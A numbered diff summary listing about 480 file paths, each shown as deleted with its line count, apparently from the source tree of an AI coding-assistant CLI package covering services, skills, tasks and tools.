  1044. package/src/self-hosted-runner/main.ts +0 -2
  1045. package/src/server/backends/dangerousBackend.ts +0 -2
  1046. package/src/server/connectHeadless.ts +0 -2
  1047. package/src/server/createDirectConnectSession.ts +0 -88
  1048. package/src/server/directConnectManager.ts +0 -213
  1049. package/src/server/lockfile.ts +0 -2
  1050. package/src/server/parseConnectUrl.ts +0 -2
  1051. package/src/server/server.ts +0 -2
  1052. package/src/server/serverBanner.ts +0 -2
  1053. package/src/server/serverLog.ts +0 -2
  1054. package/src/server/sessionManager.ts +0 -2
  1055. package/src/server/types.ts +0 -57
  1056. package/src/services/AgentSummary/agentSummary.ts +0 -179
  1057. package/src/services/MagicDocs/magicDocs.ts +0 -254
  1058. package/src/services/MagicDocs/prompts.ts +0 -127
  1059. package/src/services/PromptSuggestion/promptSuggestion.ts +0 -523
  1060. package/src/services/PromptSuggestion/speculation.ts +0 -991
  1061. package/src/services/SessionMemory/prompts.ts +0 -324
  1062. package/src/services/SessionMemory/sessionMemory.ts +0 -495
  1063. package/src/services/SessionMemory/sessionMemoryUtils.ts +0 -207
  1064. package/src/services/analytics/config.ts +0 -38
  1065. package/src/services/analytics/datadog.ts +0 -307
  1066. package/src/services/analytics/firstPartyEventLogger.ts +0 -449
  1067. package/src/services/analytics/firstPartyEventLoggingExporter.ts +0 -806
  1068. package/src/services/analytics/growthbook.ts +0 -1155
  1069. package/src/services/analytics/index.ts +0 -173
  1070. package/src/services/analytics/metadata.ts +0 -973
  1071. package/src/services/analytics/sink.ts +0 -114
  1072. package/src/services/analytics/sinkKillswitch.ts +0 -25
  1073. package/src/services/api/adminRequests.ts +0 -119
  1074. package/src/services/api/bootstrap.ts +0 -141
  1075. package/src/services/api/claude.ts +0 -3419
  1076. package/src/services/api/client.ts +0 -389
  1077. package/src/services/api/dumpPrompts.ts +0 -226
  1078. package/src/services/api/emptyUsage.ts +0 -22
  1079. package/src/services/api/errorUtils.ts +0 -260
  1080. package/src/services/api/errors.ts +0 -1205
  1081. package/src/services/api/filesApi.ts +0 -748
  1082. package/src/services/api/firstTokenDate.ts +0 -60
  1083. package/src/services/api/grove.ts +0 -357
  1084. package/src/services/api/logging.ts +0 -788
  1085. package/src/services/api/metricsOptOut.ts +0 -159
  1086. package/src/services/api/overageCreditGrant.ts +0 -137
  1087. package/src/services/api/promptCacheBreakDetection.ts +0 -727
  1088. package/src/services/api/referral.ts +0 -281
  1089. package/src/services/api/sessionIngress.ts +0 -514
  1090. package/src/services/api/ultrareviewQuota.ts +0 -38
  1091. package/src/services/api/usage.ts +0 -63
  1092. package/src/services/api/withRetry.ts +0 -818
  1093. package/src/services/autoDream/autoDream.ts +0 -324
  1094. package/src/services/autoDream/config.ts +0 -21
  1095. package/src/services/autoDream/consolidationLock.ts +0 -140
  1096. package/src/services/autoDream/consolidationPrompt.ts +0 -65
  1097. package/src/services/awaySummary.ts +0 -74
  1098. package/src/services/claudeAiLimits.ts +0 -515
  1099. package/src/services/claudeAiLimitsHook.ts +0 -23
  1100. package/src/services/compact/apiMicrocompact.ts +0 -153
  1101. package/src/services/compact/autoCompact.ts +0 -351
  1102. package/src/services/compact/cachedMCConfig.ts +0 -2
  1103. package/src/services/compact/cachedMicrocompact.ts +0 -2
  1104. package/src/services/compact/compact.ts +0 -1705
  1105. package/src/services/compact/compactWarningHook.ts +0 -16
  1106. package/src/services/compact/compactWarningState.ts +0 -18
  1107. package/src/services/compact/grouping.ts +0 -63
  1108. package/src/services/compact/microCompact.ts +0 -530
  1109. package/src/services/compact/postCompactCleanup.ts +0 -77
  1110. package/src/services/compact/prompt.ts +0 -374
  1111. package/src/services/compact/reactiveCompact.ts +0 -2
  1112. package/src/services/compact/sessionMemoryCompact.ts +0 -630
  1113. package/src/services/compact/snipCompact.ts +0 -2
  1114. package/src/services/compact/snipProjection.ts +0 -2
  1115. package/src/services/compact/timeBasedMCConfig.ts +0 -43
  1116. package/src/services/contextCollapse/index.ts +0 -2
  1117. package/src/services/contextCollapse/operations.ts +0 -2
  1118. package/src/services/contextCollapse/persist.ts +0 -2
  1119. package/src/services/diagnosticTracking.ts +0 -397
  1120. package/src/services/extractMemories/extractMemories.ts +0 -615
  1121. package/src/services/extractMemories/prompts.ts +0 -154
  1122. package/src/services/internalLogging.ts +0 -90
  1123. package/src/services/lsp/LSPClient.ts +0 -447
  1124. package/src/services/lsp/LSPDiagnosticRegistry.ts +0 -386
  1125. package/src/services/lsp/LSPServerInstance.ts +0 -511
  1126. package/src/services/lsp/LSPServerManager.ts +0 -420
  1127. package/src/services/lsp/config.ts +0 -79
  1128. package/src/services/lsp/manager.ts +0 -289
  1129. package/src/services/lsp/passiveFeedback.ts +0 -328
  1130. package/src/services/lsp/types.ts +0 -3
  1131. package/src/services/mcp/InProcessTransport.ts +0 -63
  1132. package/src/services/mcp/MCPConnectionManager.tsx +0 -73
  1133. package/src/services/mcp/SdkControlTransport.ts +0 -136
  1134. package/src/services/mcp/auth.ts +0 -2465
  1135. package/src/services/mcp/channelAllowlist.ts +0 -76
  1136. package/src/services/mcp/channelNotification.ts +0 -316
  1137. package/src/services/mcp/channelPermissions.ts +0 -240
  1138. package/src/services/mcp/claudeai.ts +0 -164
  1139. package/src/services/mcp/client.ts +0 -3348
  1140. package/src/services/mcp/config.ts +0 -1578
  1141. package/src/services/mcp/elicitationHandler.ts +0 -313
  1142. package/src/services/mcp/envExpansion.ts +0 -38
  1143. package/src/services/mcp/headersHelper.ts +0 -138
  1144. package/src/services/mcp/mcpStringUtils.ts +0 -106
  1145. package/src/services/mcp/normalization.ts +0 -23
  1146. package/src/services/mcp/oauthPort.ts +0 -78
  1147. package/src/services/mcp/officialRegistry.ts +0 -72
  1148. package/src/services/mcp/types.ts +0 -258
  1149. package/src/services/mcp/useManageMCPConnections.ts +0 -1141
  1150. package/src/services/mcp/utils.ts +0 -575
  1151. package/src/services/mcp/vscodeSdkMcp.ts +0 -112
  1152. package/src/services/mcp/xaa.ts +0 -511
  1153. package/src/services/mcp/xaaIdpLogin.ts +0 -487
  1154. package/src/services/mcpServerApproval.tsx +0 -41
  1155. package/src/services/mockRateLimits.ts +0 -882
  1156. package/src/services/notifier.ts +0 -156
  1157. package/src/services/oauth/auth-code-listener.ts +0 -211
  1158. package/src/services/oauth/client.ts +0 -566
  1159. package/src/services/oauth/crypto.ts +0 -23
  1160. package/src/services/oauth/getOauthProfile.ts +0 -53
  1161. package/src/services/oauth/index.ts +0 -198
  1162. package/src/services/oauth/types.ts +0 -7
  1163. package/src/services/plugins/PluginInstallationManager.ts +0 -184
  1164. package/src/services/plugins/pluginCliCommands.ts +0 -344
  1165. package/src/services/plugins/pluginOperations.ts +0 -1088
  1166. package/src/services/policyLimits/index.ts +0 -663
  1167. package/src/services/policyLimits/types.ts +0 -27
  1168. package/src/services/preventSleep.ts +0 -165
  1169. package/src/services/rateLimitMessages.ts +0 -344
  1170. package/src/services/rateLimitMocking.ts +0 -144
  1171. package/src/services/remoteManagedSettings/index.ts +0 -638
  1172. package/src/services/remoteManagedSettings/securityCheck.tsx +0 -74
  1173. package/src/services/remoteManagedSettings/syncCache.ts +0 -112
  1174. package/src/services/remoteManagedSettings/syncCacheState.ts +0 -96
  1175. package/src/services/remoteManagedSettings/types.ts +0 -31
  1176. package/src/services/sessionTranscript/sessionTranscript.ts +0 -2
  1177. package/src/services/settingsSync/index.ts +0 -581
  1178. package/src/services/settingsSync/types.ts +0 -67
  1179. package/src/services/skillSearch/featureCheck.ts +0 -2
  1180. package/src/services/skillSearch/localSearch.ts +0 -2
  1181. package/src/services/skillSearch/prefetch.ts +0 -2
  1182. package/src/services/skillSearch/remoteSkillLoader.ts +0 -2
  1183. package/src/services/skillSearch/remoteSkillState.ts +0 -2
  1184. package/src/services/skillSearch/signals.ts +0 -1
  1185. package/src/services/skillSearch/telemetry.ts +0 -2
  1186. package/src/services/teamMemorySync/index.ts +0 -1256
  1187. package/src/services/teamMemorySync/secretScanner.ts +0 -324
  1188. package/src/services/teamMemorySync/teamMemSecretGuard.ts +0 -44
  1189. package/src/services/teamMemorySync/types.ts +0 -156
  1190. package/src/services/teamMemorySync/watcher.ts +0 -387
  1191. package/src/services/tips/tipHistory.ts +0 -17
  1192. package/src/services/tips/tipRegistry.ts +0 -686
  1193. package/src/services/tips/tipScheduler.ts +0 -58
  1194. package/src/services/tips/types.ts +0 -5
  1195. package/src/services/tokenEstimation.ts +0 -495
  1196. package/src/services/toolUseSummary/toolUseSummaryGenerator.ts +0 -112
  1197. package/src/services/tools/StreamingToolExecutor.ts +0 -530
  1198. package/src/services/tools/toolExecution.ts +0 -1745
  1199. package/src/services/tools/toolHooks.ts +0 -650
  1200. package/src/services/tools/toolOrchestration.ts +0 -188
  1201. package/src/services/vcr.ts +0 -406
  1202. package/src/services/voice.ts +0 -525
  1203. package/src/services/voiceKeyterms.ts +0 -106
  1204. package/src/services/voiceStreamSTT.ts +0 -544
  1205. package/src/setup.ts +0 -477
  1206. package/src/shims/bun-bundle.ts +0 -18
  1207. package/src/shims/macro.ts +0 -12
  1208. package/src/skills/bundled/batch.ts +0 -124
  1209. package/src/skills/bundled/claude-api/SKILL.md +0 -1
  1210. package/src/skills/bundled/claude-api/SKILL.md.ts +0 -1
  1211. package/src/skills/bundled/claude-api/csharp/claude-api.md +0 -1
  1212. package/src/skills/bundled/claude-api/csharp/claude-api.md.ts +0 -1
  1213. package/src/skills/bundled/claude-api/curl/examples.md +0 -1
  1214. package/src/skills/bundled/claude-api/curl/examples.md.ts +0 -1
  1215. package/src/skills/bundled/claude-api/go/claude-api.md +0 -1
  1216. package/src/skills/bundled/claude-api/go/claude-api.md.ts +0 -1
  1217. package/src/skills/bundled/claude-api/java/claude-api.md +0 -1
  1218. package/src/skills/bundled/claude-api/java/claude-api.md.ts +0 -1
  1219. package/src/skills/bundled/claude-api/php/claude-api.md +0 -1
  1220. package/src/skills/bundled/claude-api/php/claude-api.md.ts +0 -1
  1221. package/src/skills/bundled/claude-api/python/agent-sdk/README.md +0 -1
  1222. package/src/skills/bundled/claude-api/python/agent-sdk/README.md.ts +0 -1
  1223. package/src/skills/bundled/claude-api/python/agent-sdk/patterns.md +0 -1
  1224. package/src/skills/bundled/claude-api/python/agent-sdk/patterns.md.ts +0 -1
  1225. package/src/skills/bundled/claude-api/python/claude-api/README.md +0 -1
  1226. package/src/skills/bundled/claude-api/python/claude-api/README.md.ts +0 -1
  1227. package/src/skills/bundled/claude-api/python/claude-api/batches.md +0 -1
  1228. package/src/skills/bundled/claude-api/python/claude-api/batches.md.ts +0 -1
  1229. package/src/skills/bundled/claude-api/python/claude-api/files-api.md +0 -1
  1230. package/src/skills/bundled/claude-api/python/claude-api/files-api.md.ts +0 -1
  1231. package/src/skills/bundled/claude-api/python/claude-api/streaming.md +0 -1
  1232. package/src/skills/bundled/claude-api/python/claude-api/streaming.md.ts +0 -1
  1233. package/src/skills/bundled/claude-api/python/claude-api/tool-use.md +0 -1
  1234. package/src/skills/bundled/claude-api/python/claude-api/tool-use.md.ts +0 -1
  1235. package/src/skills/bundled/claude-api/ruby/claude-api.md +0 -1
  1236. package/src/skills/bundled/claude-api/ruby/claude-api.md.ts +0 -1
  1237. package/src/skills/bundled/claude-api/shared/error-codes.md +0 -1
  1238. package/src/skills/bundled/claude-api/shared/error-codes.md.ts +0 -1
  1239. package/src/skills/bundled/claude-api/shared/live-sources.md +0 -1
  1240. package/src/skills/bundled/claude-api/shared/live-sources.md.ts +0 -1
  1241. package/src/skills/bundled/claude-api/shared/models.md +0 -1
  1242. package/src/skills/bundled/claude-api/shared/models.md.ts +0 -1
  1243. package/src/skills/bundled/claude-api/shared/prompt-caching.md +0 -1
  1244. package/src/skills/bundled/claude-api/shared/prompt-caching.md.ts +0 -1
  1245. package/src/skills/bundled/claude-api/shared/tool-use-concepts.md +0 -1
  1246. package/src/skills/bundled/claude-api/shared/tool-use-concepts.md.ts +0 -1
  1247. package/src/skills/bundled/claude-api/typescript/agent-sdk/README.md +0 -1
  1248. package/src/skills/bundled/claude-api/typescript/agent-sdk/README.md.ts +0 -1
  1249. package/src/skills/bundled/claude-api/typescript/agent-sdk/patterns.md +0 -1
  1250. package/src/skills/bundled/claude-api/typescript/agent-sdk/patterns.md.ts +0 -1
  1251. package/src/skills/bundled/claude-api/typescript/claude-api/README.md +0 -1
  1252. package/src/skills/bundled/claude-api/typescript/claude-api/README.md.ts +0 -1
  1253. package/src/skills/bundled/claude-api/typescript/claude-api/batches.md +0 -1
  1254. package/src/skills/bundled/claude-api/typescript/claude-api/batches.md.ts +0 -1
  1255. package/src/skills/bundled/claude-api/typescript/claude-api/files-api.md +0 -1
  1256. package/src/skills/bundled/claude-api/typescript/claude-api/files-api.md.ts +0 -1
  1257. package/src/skills/bundled/claude-api/typescript/claude-api/streaming.md +0 -1
  1258. package/src/skills/bundled/claude-api/typescript/claude-api/streaming.md.ts +0 -1
  1259. package/src/skills/bundled/claude-api/typescript/claude-api/tool-use.md +0 -1
  1260. package/src/skills/bundled/claude-api/typescript/claude-api/tool-use.md.ts +0 -1
  1261. package/src/skills/bundled/claudeApi.ts +0 -196
  1262. package/src/skills/bundled/claudeApiContent.ts +0 -75
  1263. package/src/skills/bundled/claudeInChrome.ts +0 -34
  1264. package/src/skills/bundled/debug.ts +0 -103
  1265. package/src/skills/bundled/index.ts +0 -79
  1266. package/src/skills/bundled/keybindings.ts +0 -339
  1267. package/src/skills/bundled/loop.ts +0 -92
  1268. package/src/skills/bundled/loremIpsum.ts +0 -282
  1269. package/src/skills/bundled/remember.ts +0 -82
  1270. package/src/skills/bundled/scheduleRemoteAgents.ts +0 -447
  1271. package/src/skills/bundled/simplify.ts +0 -69
  1272. package/src/skills/bundled/skillify.ts +0 -197
  1273. package/src/skills/bundled/stuck.ts +0 -79
  1274. package/src/skills/bundled/updateConfig.ts +0 -475
  1275. package/src/skills/bundled/verify/SKILL.md +0 -1
  1276. package/src/skills/bundled/verify/SKILL.md.ts +0 -1
  1277. package/src/skills/bundled/verify/examples/cli.md +0 -1
  1278. package/src/skills/bundled/verify/examples/cli.md.ts +0 -1
  1279. package/src/skills/bundled/verify/examples/server.md +0 -1
  1280. package/src/skills/bundled/verify/examples/server.md.ts +0 -1
  1281. package/src/skills/bundled/verify.ts +0 -30
  1282. package/src/skills/bundled/verifyContent.ts +0 -13
  1283. package/src/skills/bundledSkills.ts +0 -220
  1284. package/src/skills/loadSkillsDir.ts +0 -1086
  1285. package/src/skills/mcpSkillBuilders.ts +0 -44
  1286. package/src/skills/mcpSkills.ts +0 -2
  1287. package/src/ssh/SSHSessionManager.ts +0 -1
  1288. package/src/ssh/createSSHSession.ts +0 -1
  1289. package/src/state/AppState.tsx +0 -200
  1290. package/src/state/AppStateStore.ts +0 -569
  1291. package/src/state/onChangeAppState.ts +0 -171
  1292. package/src/state/selectors.ts +0 -76
  1293. package/src/state/store.ts +0 -34
  1294. package/src/state/teammateViewHelpers.ts +0 -141
  1295. package/src/tasks/DreamTask/DreamTask.ts +0 -157
  1296. package/src/tasks/InProcessTeammateTask/InProcessTeammateTask.tsx +0 -126
  1297. package/src/tasks/InProcessTeammateTask/types.ts +0 -121
  1298. package/src/tasks/LocalAgentTask/LocalAgentTask.tsx +0 -683
  1299. package/src/tasks/LocalMainSessionTask.ts +0 -479
  1300. package/src/tasks/LocalShellTask/LocalShellTask.tsx +0 -523
  1301. package/src/tasks/LocalShellTask/guards.ts +0 -41
  1302. package/src/tasks/LocalShellTask/killShellTasks.ts +0 -76
  1303. package/src/tasks/LocalWorkflowTask/LocalWorkflowTask.ts +0 -1
  1304. package/src/tasks/MonitorMcpTask/MonitorMcpTask.ts +0 -1
  1305. package/src/tasks/RemoteAgentTask/RemoteAgentTask.tsx +0 -856
  1306. package/src/tasks/pillLabel.ts +0 -82
  1307. package/src/tasks/stopTask.ts +0 -100
  1308. package/src/tasks/types.ts +0 -46
  1309. package/src/tasks.ts +0 -39
  1310. package/src/tools/AgentTool/AgentTool.tsx +0 -1398
  1311. package/src/tools/AgentTool/UI.tsx +0 -872
  1312. package/src/tools/AgentTool/agentColorManager.ts +0 -66
  1313. package/src/tools/AgentTool/agentDisplay.ts +0 -104
  1314. package/src/tools/AgentTool/agentMemory.ts +0 -177
  1315. package/src/tools/AgentTool/agentMemorySnapshot.ts +0 -197
  1316. package/src/tools/AgentTool/agentToolUtils.ts +0 -686
  1317. package/src/tools/AgentTool/built-in/claudeCodeGuideAgent.ts +0 -205
  1318. package/src/tools/AgentTool/built-in/exploreAgent.ts +0 -87
  1319. package/src/tools/AgentTool/built-in/generalPurposeAgent.ts +0 -34
  1320. package/src/tools/AgentTool/built-in/planAgent.ts +0 -92
  1321. package/src/tools/AgentTool/built-in/statuslineSetup.ts +0 -144
  1322. package/src/tools/AgentTool/built-in/verificationAgent.ts +0 -152
  1323. package/src/tools/AgentTool/built-in/warpGrepAgent.ts +0 -67
  1324. package/src/tools/AgentTool/builtInAgents.ts +0 -73
  1325. package/src/tools/AgentTool/constants.ts +0 -12
  1326. package/src/tools/AgentTool/forkSubagent.ts +0 -210
  1327. package/src/tools/AgentTool/loadAgentsDir.ts +0 -755
  1328. package/src/tools/AgentTool/prompt.ts +0 -288
  1329. package/src/tools/AgentTool/resumeAgent.ts +0 -265
  1330. package/src/tools/AgentTool/runAgent.ts +0 -973
  1331. package/src/tools/AskUserQuestionTool/AskUserQuestionTool.tsx +0 -266
  1332. package/src/tools/AskUserQuestionTool/prompt.ts +0 -44
  1333. package/src/tools/BashTool/BashTool.tsx +0 -1144
  1334. package/src/tools/BashTool/BashToolResultMessage.tsx +0 -191
  1335. package/src/tools/BashTool/UI.tsx +0 -185
  1336. package/src/tools/BashTool/bashCommandHelpers.ts +0 -265
  1337. package/src/tools/BashTool/bashPermissions.ts +0 -2621
  1338. package/src/tools/BashTool/bashSecurity.ts +0 -2592
  1339. package/src/tools/BashTool/commandSemantics.ts +0 -140
  1340. package/src/tools/BashTool/commentLabel.ts +0 -13
  1341. package/src/tools/BashTool/destructiveCommandWarning.ts +0 -102
  1342. package/src/tools/BashTool/modeValidation.ts +0 -115
  1343. package/src/tools/BashTool/pathValidation.ts +0 -1303
  1344. package/src/tools/BashTool/prompt.ts +0 -369
  1345. package/src/tools/BashTool/readOnlyValidation.ts +0 -1990
  1346. package/src/tools/BashTool/sedEditParser.ts +0 -322
  1347. package/src/tools/BashTool/sedValidation.ts +0 -684
  1348. package/src/tools/BashTool/shouldUseSandbox.ts +0 -153
  1349. package/src/tools/BashTool/toolName.ts +0 -2
  1350. package/src/tools/BashTool/utils.ts +0 -223
  1351. package/src/tools/BriefTool/BriefTool.ts +0 -204
  1352. package/src/tools/BriefTool/UI.tsx +0 -101
  1353. package/src/tools/BriefTool/attachments.ts +0 -110
  1354. package/src/tools/BriefTool/prompt.ts +0 -22
  1355. package/src/tools/BriefTool/upload.ts +0 -174
  1356. package/src/tools/ConfigTool/ConfigTool.ts +0 -467
  1357. package/src/tools/ConfigTool/UI.tsx +0 -38
  1358. package/src/tools/ConfigTool/constants.ts +0 -1
  1359. package/src/tools/ConfigTool/prompt.ts +0 -93
  1360. package/src/tools/ConfigTool/supportedSettings.ts +0 -211
  1361. package/src/tools/DiscoverSkillsTool/prompt.ts +0 -2
  1362. package/src/tools/EnterPlanModeTool/EnterPlanModeTool.ts +0 -126
  1363. package/src/tools/EnterPlanModeTool/UI.tsx +0 -33
  1364. package/src/tools/EnterPlanModeTool/constants.ts +0 -1
  1365. package/src/tools/EnterPlanModeTool/prompt.ts +0 -170
  1366. package/src/tools/EnterWorktreeTool/EnterWorktreeTool.ts +0 -127
  1367. package/src/tools/EnterWorktreeTool/UI.tsx +0 -20
  1368. package/src/tools/EnterWorktreeTool/constants.ts +0 -1
  1369. package/src/tools/EnterWorktreeTool/prompt.ts +0 -30
  1370. package/src/tools/ExitPlanModeTool/ExitPlanModeV2Tool.ts +0 -493
  1371. package/src/tools/ExitPlanModeTool/UI.tsx +0 -82
  1372. package/src/tools/ExitPlanModeTool/constants.ts +0 -2
  1373. package/src/tools/ExitPlanModeTool/prompt.ts +0 -29
  1374. package/src/tools/ExitWorktreeTool/ExitWorktreeTool.ts +0 -329
  1375. package/src/tools/ExitWorktreeTool/UI.tsx +0 -25
  1376. package/src/tools/ExitWorktreeTool/constants.ts +0 -1
  1377. package/src/tools/ExitWorktreeTool/prompt.ts +0 -32
  1378. package/src/tools/FileEditTool/FileEditTool.ts +0 -625
  1379. package/src/tools/FileEditTool/UI.tsx +0 -289
  1380. package/src/tools/FileEditTool/constants.ts +0 -11
  1381. package/src/tools/FileEditTool/prompt.ts +0 -28
  1382. package/src/tools/FileEditTool/types.ts +0 -85
  1383. package/src/tools/FileEditTool/utils.ts +0 -775
  1384. package/src/tools/FileReadTool/FileReadTool.ts +0 -1183
  1385. package/src/tools/FileReadTool/UI.tsx +0 -185
  1386. package/src/tools/FileReadTool/imageProcessor.ts +0 -94
  1387. package/src/tools/FileReadTool/limits.ts +0 -92
  1388. package/src/tools/FileReadTool/prompt.ts +0 -49
  1389. package/src/tools/FileWriteTool/FileWriteTool.ts +0 -434
  1390. package/src/tools/FileWriteTool/UI.tsx +0 -405
  1391. package/src/tools/FileWriteTool/prompt.ts +0 -18
  1392. package/src/tools/GlobTool/GlobTool.ts +0 -198
  1393. package/src/tools/GlobTool/UI.tsx +0 -63
  1394. package/src/tools/GlobTool/prompt.ts +0 -7
  1395. package/src/tools/GrepTool/GrepTool.ts +0 -577
  1396. package/src/tools/GrepTool/UI.tsx +0 -201
  1397. package/src/tools/GrepTool/prompt.ts +0 -18
  1398. package/src/tools/LSPTool/LSPTool.ts +0 -860
  1399. package/src/tools/LSPTool/UI.tsx +0 -228
  1400. package/src/tools/LSPTool/formatters.ts +0 -592
  1401. package/src/tools/LSPTool/prompt.ts +0 -21
  1402. package/src/tools/LSPTool/schemas.ts +0 -215
  1403. package/src/tools/LSPTool/symbolContext.ts +0 -90
  1404. package/src/tools/ListMcpResourcesTool/ListMcpResourcesTool.ts +0 -123
  1405. package/src/tools/ListMcpResourcesTool/UI.tsx +0 -29
  1406. package/src/tools/ListMcpResourcesTool/prompt.ts +0 -20
  1407. package/src/tools/MCPTool/MCPTool.ts +0 -77
  1408. package/src/tools/MCPTool/UI.tsx +0 -403
  1409. package/src/tools/MCPTool/classifyForCollapse.ts +0 -604
  1410. package/src/tools/MCPTool/prompt.ts +0 -3
  1411. package/src/tools/McpAuthTool/McpAuthTool.ts +0 -215
  1412. package/src/tools/MonitorTool/MonitorTool.ts +0 -2
  1413. package/src/tools/NotebookEditTool/NotebookEditTool.ts +0 -490
  1414. package/src/tools/NotebookEditTool/UI.tsx +0 -93
  1415. package/src/tools/NotebookEditTool/constants.ts +0 -2
  1416. package/src/tools/NotebookEditTool/prompt.ts +0 -3
  1417. package/src/tools/OverflowTestTool/OverflowTestTool.ts +0 -2
  1418. package/src/tools/PowerShellTool/PowerShellTool.tsx +0 -1001
  1419. package/src/tools/PowerShellTool/UI.tsx +0 -131
  1420. package/src/tools/PowerShellTool/clmTypes.ts +0 -211
  1421. package/src/tools/PowerShellTool/commandSemantics.ts +0 -142
  1422. package/src/tools/PowerShellTool/commonParameters.ts +0 -30
  1423. package/src/tools/PowerShellTool/destructiveCommandWarning.ts +0 -109
  1424. package/src/tools/PowerShellTool/gitSafety.ts +0 -176
  1425. package/src/tools/PowerShellTool/modeValidation.ts +0 -404
  1426. package/src/tools/PowerShellTool/pathValidation.ts +0 -2049
  1427. package/src/tools/PowerShellTool/powershellPermissions.ts +0 -1648
  1428. package/src/tools/PowerShellTool/powershellSecurity.ts +0 -1090
  1429. package/src/tools/PowerShellTool/prompt.ts +0 -145
  1430. package/src/tools/PowerShellTool/readOnlyValidation.ts +0 -1823
  1431. package/src/tools/PowerShellTool/toolName.ts +0 -2
  1432. package/src/tools/REPLTool/constants.ts +0 -46
  1433. package/src/tools/REPLTool/primitiveTools.ts +0 -39
  1434. package/src/tools/ReadMcpResourceTool/ReadMcpResourceTool.ts +0 -158
  1435. package/src/tools/ReadMcpResourceTool/UI.tsx +0 -37
  1436. package/src/tools/ReadMcpResourceTool/prompt.ts +0 -16
  1437. package/src/tools/RemoteTriggerTool/RemoteTriggerTool.ts +0 -161
  1438. package/src/tools/RemoteTriggerTool/UI.tsx +0 -17
  1439. package/src/tools/RemoteTriggerTool/prompt.ts +0 -15
  1440. package/src/tools/ReviewArtifactTool/ReviewArtifactTool.ts +0 -2
  1441. package/src/tools/ScheduleCronTool/CronCreateTool.ts +0 -157
  1442. package/src/tools/ScheduleCronTool/CronDeleteTool.ts +0 -95
  1443. package/src/tools/ScheduleCronTool/CronListTool.ts +0 -97
  1444. package/src/tools/ScheduleCronTool/UI.tsx +0 -60
  1445. package/src/tools/ScheduleCronTool/prompt.ts +0 -135
  1446. package/src/tools/SendMessageTool/SendMessageTool.ts +0 -917
  1447. package/src/tools/SendMessageTool/UI.tsx +0 -31
  1448. package/src/tools/SendMessageTool/constants.ts +0 -1
  1449. package/src/tools/SendMessageTool/prompt.ts +0 -49
  1450. package/src/tools/SendUserFileTool/prompt.ts +0 -2
  1451. package/src/tools/SkillTool/SkillTool.ts +0 -1108
  1452. package/src/tools/SkillTool/UI.tsx +0 -128
  1453. package/src/tools/SkillTool/constants.ts +0 -1
  1454. package/src/tools/SkillTool/prompt.ts +0 -241
  1455. package/src/tools/SleepTool/prompt.ts +0 -17
  1456. package/src/tools/SnipTool/prompt.ts +0 -2
  1457. package/src/tools/SyntheticOutputTool/SyntheticOutputTool.ts +0 -163
  1458. package/src/tools/TaskCreateTool/TaskCreateTool.ts +0 -138
  1459. package/src/tools/TaskCreateTool/constants.ts +0 -1
  1460. package/src/tools/TaskCreateTool/prompt.ts +0 -56
  1461. package/src/tools/TaskGetTool/TaskGetTool.ts +0 -128
  1462. package/src/tools/TaskGetTool/constants.ts +0 -1
  1463. package/src/tools/TaskGetTool/prompt.ts +0 -24
  1464. package/src/tools/TaskListTool/TaskListTool.ts +0 -116
  1465. package/src/tools/TaskListTool/constants.ts +0 -1
  1466. package/src/tools/TaskListTool/prompt.ts +0 -49
  1467. package/src/tools/TaskOutputTool/TaskOutputTool.tsx +0 -584
  1468. package/src/tools/TaskOutputTool/constants.ts +0 -1
  1469. package/src/tools/TaskStopTool/TaskStopTool.ts +0 -131
  1470. package/src/tools/TaskStopTool/UI.tsx +0 -41
  1471. package/src/tools/TaskStopTool/prompt.ts +0 -8
  1472. package/src/tools/TaskUpdateTool/TaskUpdateTool.ts +0 -406
  1473. package/src/tools/TaskUpdateTool/constants.ts +0 -1
  1474. package/src/tools/TaskUpdateTool/prompt.ts +0 -77
  1475. package/src/tools/TeamCreateTool/TeamCreateTool.ts +0 -240
  1476. package/src/tools/TeamCreateTool/UI.tsx +0 -6
  1477. package/src/tools/TeamCreateTool/constants.ts +0 -1
  1478. package/src/tools/TeamCreateTool/prompt.ts +0 -113
  1479. package/src/tools/TeamDeleteTool/TeamDeleteTool.ts +0 -139
  1480. package/src/tools/TeamDeleteTool/UI.tsx +0 -20
  1481. package/src/tools/TeamDeleteTool/constants.ts +0 -1
  1482. package/src/tools/TeamDeleteTool/prompt.ts +0 -16
  1483. package/src/tools/TerminalCaptureTool/prompt.ts +0 -2
  1484. package/src/tools/TodoWriteTool/TodoWriteTool.ts +0 -115
  1485. package/src/tools/TodoWriteTool/constants.ts +0 -1
  1486. package/src/tools/TodoWriteTool/prompt.ts +0 -184
  1487. package/src/tools/ToolSearchTool/ToolSearchTool.ts +0 -471
  1488. package/src/tools/ToolSearchTool/constants.ts +0 -1
  1489. package/src/tools/ToolSearchTool/prompt.ts +0 -121
  1490. package/src/tools/TungstenTool/TungstenLiveMonitor.ts +0 -3
  1491. package/src/tools/TungstenTool/TungstenLiveMonitor.tsx +0 -6
  1492. package/src/tools/TungstenTool/TungstenTool.ts +0 -26
  1493. package/src/tools/VerifyPlanExecutionTool/constants.ts +0 -2
  1494. package/src/tools/WarpGrepTool/WarpGrepTool.ts +0 -106
  1495. package/src/tools/WebBrowserTool/WebBrowserPanel.ts +0 -2
  1496. package/src/tools/WebFetchTool/UI.tsx +0 -72
  1497. package/src/tools/WebFetchTool/WebFetchTool.ts +0 -318
  1498. package/src/tools/WebFetchTool/preapproved.ts +0 -166
  1499. package/src/tools/WebFetchTool/prompt.ts +0 -46
  1500. package/src/tools/WebFetchTool/utils.ts +0 -530
  1501. package/src/tools/WebSearchTool/UI.tsx +0 -101
  1502. package/src/tools/WebSearchTool/WebSearchTool.ts +0 -435
  1503. package/src/tools/WebSearchTool/prompt.ts +0 -34
  1504. package/src/tools/WorkflowTool/WorkflowPermissionRequest.ts +0 -2
  1505. package/src/tools/WorkflowTool/WorkflowTool.ts +0 -2
  1506. package/src/tools/WorkflowTool/constants.ts +0 -1
  1507. package/src/tools/WorkflowTool/createWorkflowCommand.ts +0 -2
  1508. package/src/tools/shared/gitOperationTracking.ts +0 -277
  1509. package/src/tools/shared/spawnMultiAgent.ts +0 -1093
  1510. package/src/tools/testing/TestingPermissionTool.tsx +0 -74
  1511. package/src/tools/utils.ts +0 -40
  1512. package/src/tools.ts +0 -394
  1513. package/src/types/command.ts +0 -216
  1514. package/src/types/connectorText.ts +0 -3
  1515. package/src/types/declarations/bun-globals.d.ts +0 -19
  1516. package/src/types/declarations/external-modules.d.ts +0 -120
  1517. package/src/types/declarations/react-compiler.d.ts +0 -3
  1518. package/src/types/fileSuggestion.ts +0 -1
  1519. package/src/types/generated/events_mono/claude_code/v1/claude_code_internal_event.ts +0 -865
  1520. package/src/types/generated/events_mono/common/v1/auth.ts +0 -100
